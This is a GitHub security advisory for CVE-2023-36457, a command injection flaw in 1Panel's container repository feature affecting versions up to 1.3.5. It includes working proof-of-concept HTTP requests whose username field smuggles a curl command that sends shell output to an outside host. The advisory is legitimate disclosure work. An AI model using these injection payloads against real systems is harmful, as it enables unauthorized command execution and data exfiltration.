Skip to content

Command injection when adding container repositories

Moderate
wanghe-fit2cloud published GHSA-q2mx-gpjf-3h8x Jul 4, 2023

Package

No package listed

Affected versions

<=v1.3.5

Patched versions

v1.3.6

Description

Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

  1. Vulnerability analysis.
backend\app\api\v1\image_repo.go#create

image

backend\app\service\image_repo.go#CheckConn

image

  1. vulnerability reproduction.
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
  1. Using update can be triggered multiple times.
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at wanghe@fit2cloud.com

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

CVE ID

CVE-2023-36457

Weaknesses

No CWEs